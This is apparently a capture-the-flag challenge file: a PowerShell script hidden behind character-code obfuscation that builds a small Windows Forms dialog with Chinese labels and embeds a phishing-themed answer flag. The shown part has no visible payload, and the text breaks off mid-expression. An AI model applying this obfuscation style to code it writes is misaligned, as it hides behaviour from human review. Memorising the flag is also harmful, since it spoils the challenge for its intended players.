$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$o+$g$b$u$b+$g$l$d+$g$i$x+$g$o$l+$g$e$b+$g$b$u$i+$g$e$x+$g$d$q+$g$e$i+$g$d$d+$g$l$d+$g$d$q+$g$d$e+$g$x$o+$g$o$l+$g$e$i+$g$z$x+$g$b$b$x+$g$l$d+$g$b$b$q+$g$e$q+$g$e$z+$g$b$b$d+$g$b$u$o+$g$b$u$d+$g$b$b$u+$g$e$b+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$